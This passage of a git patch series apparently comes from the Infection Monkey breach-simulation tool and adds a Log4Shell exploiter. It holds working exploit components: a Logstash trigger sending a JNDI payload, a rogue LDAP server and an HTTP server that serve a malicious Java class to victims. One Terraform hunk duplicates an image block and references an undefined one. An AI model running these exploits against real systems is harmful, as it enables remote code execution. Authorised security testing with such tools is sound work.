    + + + + + @@ -1289,7 +1349,7 @@ Update all requirements using deployment script:

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 05cc05048..b5a2fbee7 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -77,6 +77,22 @@ data "google_compute_image" "powershell-3-45" { name = "powershell-3-45" project = local.monkeyzoo_project } +data "google_compute_image" "log4j-solr-49" { + name = "log4j-solr-49" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-tomcat-51" { + name = "log4j-tomcat-51" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 4b64b4a31..c545af20c 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -418,6 +418,36 @@ resource "google_compute_instance_from_template" "log4j-solr-50" { } } +resource "google_compute_instance_from_template" "log4j-tomcat-51" { + name = "${local.resource_prefix}log4j-tomcat-51" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-51.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.51" + } +} + +resource "google_compute_instance_from_template" "log4j-tomcat-52" { + name = "${local.resource_prefix}log4j-tomcat-52" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-52.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.52" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From eb10bdaa4ea8eb475bc9b946a9601cbe9bafdbef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:22:01 -0500 Subject: [PATCH 27/77] Agent: Add unit tests for log4shell ldap server tree --- .../exploit/log4shell_utils/test_ldap_server.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py new file mode 100644 index 000000000..99f32eb18 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -0,0 +1,13 @@ +from pathlib import Path + +from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN, Tree + + +def test_java_code_base_url(tmp_path): + ip = "172.10.20.30" + port = 9999 + + tree = Tree(ip, port, tmp_path) + ldif_path = Path(tree.path) / f"{EXPLOIT_RDN}.ldif" + with open(ldif_path, "r") as exploit_dit: + assert f"javaCodeBase: http://{ip}:{port}/" in exploit_dit.read() From 64827ac589f6122215db050cee1b29a44730d876 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:30:55 -0500 Subject: [PATCH 28/77] Agent: Rename IServiceExploiter -> IExploitableService --- .../exploit/log4shell_utils/service_exploiters/__init__.py | 4 ++-- .../{exploitable_service.py => i_service_exploiter.py} | 2 +- .../exploit/log4shell_utils/service_exploiters/poc_docker.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/solr.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/tomcat.py | 4 ++-- 5 files changed, 9 insertions(+), 9 deletions(-) rename monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/{exploitable_service.py => i_service_exploiter.py} (87%) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 96823c894..e1b1595d2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -1,10 +1,10 @@ from typing import List -from .exploitable_service import IExploitableService +from .i_service_exploiter import IServiceExploiter from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit -def get_log4shell_service_exploiters() -> List[IExploitableService]: +def get_log4shell_service_exploiters() -> List[IServiceExploiter]: return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py similarity index 87% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py rename to monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py index 20a3b92e7..963925e4d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -3,7 +3,7 @@ import abc from infection_monkey.model import VictimHost -class IExploitableService(metaclass=abc.ABCMeta): +class IServiceExploiter(metaclass=abc.ABCMeta): @property @abc.abstractmethod def service_name(self) -> str: diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py index ae142eed7..32aba9cec 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class DockerPOCExploit(IExploitableService): +class DockerPOCExploit(IServiceExploiter): service_name = "GoFinance mock application" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 6e6771357..8078a106c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class SolrExploit(IExploitableService): +class SolrExploit(IServiceExploiter): service_name = "Apache Solr" @staticmethod diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index bfabdd854..018896207 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class TomcatExploit(IExploitableService): +class TomcatExploit(IServiceExploiter): service_name = "Apache Tomcat" @staticmethod From 67ade141a092416061ecac8964be7de63de19695 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:40:51 -0500 Subject: [PATCH 29/77] Agent: Start log4shell java class server on daemon thread --- monkey/infection_monkey/exploit/log4shell.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3f5ffe886..51fb46de1 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -193,4 +193,8 @@ class Log4ShellExploiter(WebRCE): def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class - return Thread(target=self._run_class_http_server, args=[ip]) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + return Thread(target=self._run_class_http_server, args=[ip], daemon=True) From 30c41592fbe644b46e6d615e49fc955ffc72b558 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:50:09 -0500 Subject: [PATCH 30/77] Agent: Remove dependency on threading from LDAPExploitServer --- monkey/infection_monkey/exploit/log4shell.py | 8 ++++++-- .../exploit/log4shell_utils/ldap_server.py | 5 ++--- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 51fb46de1..4ad252204 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -95,8 +95,12 @@ class Log4ShellExploiter(WebRCE): http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) - ldap_thread = self.ldap_server.get_run_thread() - self.ldap_server_thread = ldap_thread + + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self.ldap_server_thread = Thread(target=self.ldap_server.run, daemon=True) self.ldap_server_thread.start() def stop_servers(self): diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 8cad3fba3..f575f20cc 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,6 +1,5 @@ import tempfile from pathlib import Path -from threading import Thread from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.ldiftree import LDIFTreeEntry @@ -84,8 +83,8 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def get_run_thread(self) -> Thread: - return Thread(target=reactor.run, args=[None]) + def run(self): + reactor.run() def stop(self): reactor.stop() From ab7a47384cbb4f14e56f95373376ee7d7975b250 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 11 Jan 2022 18:23:15 +0100 Subject: [PATCH 31/77] Agent, Island: Add Logstash service to Log4Shell exploit --- .../service_exploiters/__init__.py | 3 ++- .../service_exploiters/logstash.py | 20 +++++++++++++++++++ .../cc/services/config_schema/internal.py | 2 +- 3 files changed, 23 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index e1b1595d2..101db8f24 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -4,7 +4,8 @@ from .i_service_exploiter import IServiceExploiter from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit +from .logstash import LogStashExploit def get_log4shell_service_exploiters() -> List[IServiceExploiter]: - return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] + return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py new file mode 100644 index 000000000..ae0f93608 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -0,0 +1,20 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class LogStashExploit(IServiceExploiter): + service_name = "LogStash" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" + try: + resp = requests.get(url, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index dff4e8a13..bb6078912 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -129,7 +129,7 @@ INTERNAL = { "type": "array", "uniqueItems": True, "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200, 8983], + "default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600], "description": "List of ports the monkey will check if are being used " "for HTTP", }, From b79bf9635967c2b473becb6506d2ccd4e37403ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 Jan 2022 12:53:20 -0500 Subject: [PATCH 32/77] Agent: Don't install signal handlers in LDAPExploitServer This avoids exceptions that are raised when the LDAPExploitServer is not started on the main thread. --- .../infection_monkey/exploit/log4shell_utils/ldap_server.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f575f20cc..e6efac5ff 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -84,7 +84,9 @@ class LDAPExploitServer: log_observer.start() def run(self): - reactor.run() + # For an explaination of installSignalHandlers=0, see + # https://twistedmatrix.com/trac/wiki/FrequentlyAskedQuestions#Igetexceptions.ValueError:signalonlyworksinmainthreadwhenItrytorunmyTwistedprogramWhatswrong + reactor.run(installSignalHandlers=0) def stop(self): reactor.stop() From c51be159b65665180644a20eb663ce67f3df09b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 Jan 2022 13:08:32 -0500 Subject: [PATCH 33/77] Agent: Use classmethods to improve readability of HTTPHandler --- monkey/infection_monkey/exploit/log4shell.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4ad252204..954555de3 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -168,13 +168,17 @@ class Log4ShellExploiter(WebRCE): class_downloaded = False stop = False - @staticmethod - def reset(): - Log4ShellExploiter.HTTPHandler.class_downloaded = False - Log4ShellExploiter.HTTPHandler.stop = False + @classmethod + def reset(cls): + cls.class_downloaded = False + cls.stop = False + + @classmethod + def set_class_downloaded(cls): + cls.class_downloaded = True def do_GET(self): - Log4ShellExploiter.HTTPHandler.class_downloaded = True + Log4ShellExploiter.HTTPHandler.set_class_downloaded() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") From f8ac13c164a03cd378afe8181533340883e7e046 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 12 Jan 2022 14:05:17 +0530 Subject: [PATCH 34/77] Island: Add info about Log4Shell to config schema --- .../definitions/exploiter_classes.py | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 90f47f48d..12f5034c6 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,15 +42,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, - # TODO finish description - { - "type": "string", - "enum": ["Log4ShellExploiter"], - "title": "Log4Shell Exploiter", - "safe": True, - "info": "TODO: provide full info.", - "link": "TODO: link to docs", - }, { "type": "string", "enum": ["Ms08_067_Exploiter"], @@ -174,5 +165,16 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey" "/docs/reference/exploiters/powershell", }, + { + "type": "string", + "enum": ["Log4ShellExploiter"], + "title": "Log4Shell Exploiter", + "safe": True, + "info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java " + "logging framework. Exploitation is attempted on the following services — " + "Apache Solr, Apache Tomcat, Logstash.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/log4shell/", + }, ], } From 7fae22e9936ab927ad921029d3899ad4b903df6f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 12 Jan 2022 14:29:38 +0530 Subject: [PATCH 35/77] Docs: Add Log4Shell exploiter page --- .../content/reference/exploiters/Log4Shell.md | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 docs/content/reference/exploiters/Log4Shell.md diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md new file mode 100644 index 000000000..c42fc76e6 --- /dev/null +++ b/docs/content/reference/exploiters/Log4Shell.md @@ -0,0 +1,24 @@ +--- +title: "Log4Shell" +date: 2022-01-12T14:07:23+05:30 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Log4Shell exploiter exploits [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). + + +### Description + +Some versions of Apache Log4j, a Java logging framework, have a logging feature called “Message Lookup Substitution” enabled by default. This allows replacing certain special strings by dynamically-generated strings at the time of logging. If log messages or log message parameters can be controlled by an attacker, arbitrary code can be executed. The Log4Shell exploiter takes advantage of this vulnerability to propagate to a victim machine. + +To learn about the appropriate mitigations and read more, click [here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). + + +### Services exploited + +The following services are attempted to be exploited: + +- Apache Solr +- Apache Tomcat +- Logstash From b72ad39aa6dc4cc043493ac5f32287d6cf5df128 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 10:53:10 -0500 Subject: [PATCH 36/77] Agent: Invoke reactor.stop() with reactor.callFromThread() --- .../infection_monkey/exploit/log4shell_utils/ldap_server.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index e6efac5ff..f0acac141 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -89,4 +89,7 @@ class LDAPExploitServer: reactor.run(installSignalHandlers=0) def stop(self): - reactor.stop() + # Since `reactor.run()` may not be running on the main thread, reactor.stop() must be + # invoked with reactor.callFromThread() + # https://twistedmatrix.com/documents/12.2.0/core/howto/threading.html + reactor.callFromThread(reactor.stop) From 16219b714b70b53380d2f907f15d34052ccdf405 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:11:20 -0500 Subject: [PATCH 37/77] Agent: Extract Java exploit HTTP server into its own module --- monkey/infection_monkey/exploit/log4shell.py | 95 ++++++------------- .../exploit/log4shell_utils/__init__.py | 1 + .../exploit_class_http_server.py | 60 ++++++++++++ 3 files changed, 91 insertions(+), 65 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 954555de3..41cac7029 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,3 @@ -import http.client -import http.server import logging from threading import Thread from time import sleep @@ -8,6 +6,7 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, + ExploitClassHTTPServer, LDAPExploitServer, build_exploit_bytecode, get_log4shell_service_exploiters, @@ -38,14 +37,17 @@ class Log4ShellExploiter(WebRCE): def __init__(self, host: VictimHost): super().__init__(host) - self._client = None + self.ldap_port = get_free_tcp_port() + + self.class_http_server_ip = get_interface_to_target(self.host.ip_addr) self.class_http_server_port = get_free_tcp_port() - self.ldap_server_thread = None self.ldap_server = None + self.ldap_server_thread = None + self.exploit_class_http_server = None + self.exploit_class_http_server_thread = None self.agent_http_server_thread = None - self.java_class_http_server_thread = None def _exploit_host(self): self.start_servers() @@ -63,9 +65,10 @@ class Log4ShellExploiter(WebRCE): command = self.build_command(paths["dest_path"], agent_http_path) # Start http server to serve malicious java class to victim - class_server_ip = self.start_class_http_server(command) + self.start_class_http_server(command) + # Start ldap server to redirect ldap query to java class server - self.start_ldap_server(class_server_ip) + self.start_ldap_server() def start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. @@ -79,19 +82,25 @@ class Log4ShellExploiter(WebRCE): logger.info("Started http server on %s", http_path) return http_path - def start_class_http_server(self, command: str) -> str: + def start_class_http_server(self, command: str): java_class = self.build_java_class(command) - class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) - self.java_class_http_server_thread = java_class_http_thread - self.java_class_http_server_thread.start() - return class_http_server_ip + self.exploit_class_http_server = ExploitClassHTTPServer( + self.class_http_server_ip, self.class_http_server_port, java_class + ) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self.exploit_class_http_server_thread = Thread( + target=self.exploit_class_http_server.run, daemon=True + ) + self.exploit_class_http_server_thread.start() - def start_ldap_server(self, class_http_server_ip: str): + def start_ldap_server(self): self.ldap_server = LDAPExploitServer( ldap_server_port=self.ldap_port, - http_server_ip=class_http_server_ip, + http_server_ip=self.class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) @@ -104,14 +113,15 @@ class Log4ShellExploiter(WebRCE): self.ldap_server_thread.start() def stop_servers(self): - self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + logger.debug("Stopping all LDAP and HTTP Servers") self.agent_http_server_thread.stop() + self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + self.exploit_class_http_server.stop() + self.exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self.ldap_server.stop() + self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) @@ -154,55 +164,10 @@ class Log4ShellExploiter(WebRCE): # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - if Log4ShellExploiter.HTTPHandler.class_downloaded: + if self.exploit_class_http_server.exploit_class_downloaded(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } return True return False - - class HTTPHandler(http.server.BaseHTTPRequestHandler): - - java_class: bytes - class_downloaded = False - stop = False - - @classmethod - def reset(cls): - cls.class_downloaded = False - cls.stop = False - - @classmethod - def set_class_downloaded(cls): - cls.class_downloaded = True - - def do_GET(self): - Log4ShellExploiter.HTTPHandler.set_class_downloaded() - logger.info("Java class servergot a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - def _run_class_http_server(self, ip): - server = http.server.HTTPServer( - (ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler - ) - while ( - not Log4ShellExploiter.HTTPHandler.class_downloaded - and not Log4ShellExploiter.HTTPHandler.stop - ): - server.handle_request() - - Log4ShellExploiter.HTTPHandler.reset() - - def get_java_class_server_thread(self, ip: str, java_class: bytes): - Log4ShellExploiter.HTTPHandler.java_class = java_class - - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - return Thread(target=self._run_class_http_server, args=[ip], daemon=True) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 65b5ebca2..68de2d192 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -6,3 +6,4 @@ from .exploit_builder import ( ) from .ldap_server import LDAPExploitServer from .service_exploiters import get_log4shell_service_exploiters +from .exploit_class_http_server import ExploitClassHTTPServer diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py new file mode 100644 index 000000000..bde6f91fb --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -0,0 +1,60 @@ +import http.server +import logging + +logger = logging.getLogger(__name__) + + +class HTTPHandler(http.server.BaseHTTPRequestHandler): + + java_class: bytes + class_downloaded = False + + @classmethod + def reset(cls): + cls.class_downloaded = False + + @classmethod + def _set_class_downloaded(cls): + cls.class_downloaded = True + + def do_GET(self): + if HTTPHandler.class_downloaded: + self.send_error(429, "Java exploit class has already been downloaded") + return + + HTTPHandler._set_class_downloaded() + logger.info("Java class servergot a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + + +class ExploitClassHTTPServer: + def __init__(self, ip: str, port: int, java_class: bytes): + logger.debug(f"The Java Exploit class will be served at {ip}:{port}") + + HTTPHandler.java_class = java_class + HTTPHandler.reset() + + self._server = http.server.HTTPServer((ip, port), HTTPHandler) + self._server.socket.settimeout(0.5) + + def run(self): + logger.debug("Starting ExploitClassHTTPServer") + HTTPHandler.reset() + + # while not self.exploit_class_downloaded(): + # self._server.handle_request() + # logger.error("loop") + + self._server.serve_forever() + logger.debug("The Java Exploit class HTTP server has stopped") + + def stop(self): + logger.debug("Stopping the Java Exploit class HTTP server") + self._server.shutdown() + + def exploit_class_downloaded(self) -> bool: + return HTTPHandler.class_downloaded From 8f53a5ccd008cfaf7238e8eb7db21df2e77b27f2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:20:32 -0500 Subject: [PATCH 38/77] Agent: Fix min_range in get_free_tcp_port() get_free_tcp_port() effectively ignored the min_range parameter by using min(1, min_range). This meant that min_range was always 1 (unless a negative value was passed). As ports lower than 1024 are privileged on Linux, this lead to the agent trying to bind to ports that it did not have permission to. By using max(1, min_range), We insure that min_range is always at least 1, but will still use the provided parameter (1024 by default). --- monkey/infection_monkey/network/info.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 7f740eeb2..e262feb19 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -108,14 +108,14 @@ else: return routes -def get_free_tcp_port(min_range=1000, max_range=65535): - start_range = min(1, min_range) +def get_free_tcp_port(min_range=1024, max_range=65535): + min_range = max(1, min_range) max_range = min(65535, max_range) in_use = [conn.laddr[1] for conn in psutil.net_connections()] for i in range(min_range, max_range): - port = randint(start_range, max_range) + port = randint(min_range, max_range) if port not in in_use: return port From 3bbf4f9ac68e3a3762c8e49a4663026d92c86799 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:23:44 -0500 Subject: [PATCH 39/77] Agent: Prefix private methods/variables with _ in Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 84 ++++++++++---------- 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 41cac7029..b46570ba7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -38,69 +38,69 @@ class Log4ShellExploiter(WebRCE): def __init__(self, host: VictimHost): super().__init__(host) - self.ldap_port = get_free_tcp_port() + self._ldap_port = get_free_tcp_port() - self.class_http_server_ip = get_interface_to_target(self.host.ip_addr) + self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) self.class_http_server_port = get_free_tcp_port() - self.ldap_server = None - self.ldap_server_thread = None - self.exploit_class_http_server = None - self.exploit_class_http_server_thread = None - self.agent_http_server_thread = None + self._ldap_server = None + self._ldap_server_thread = None + self._exploit_class_http_server = None + self._exploit_class_http_server_thread = None + self._agent_http_server_thread = None def _exploit_host(self): - self.start_servers() + self._start_servers() try: return self.exploit(None, None) finally: - self.stop_servers() + self._stop_servers() - def start_servers(self): + def _start_servers(self): # Start http server, to serve agent to victims paths = self.get_monkey_paths() - agent_http_path = self.start_agent_http_server(paths) + 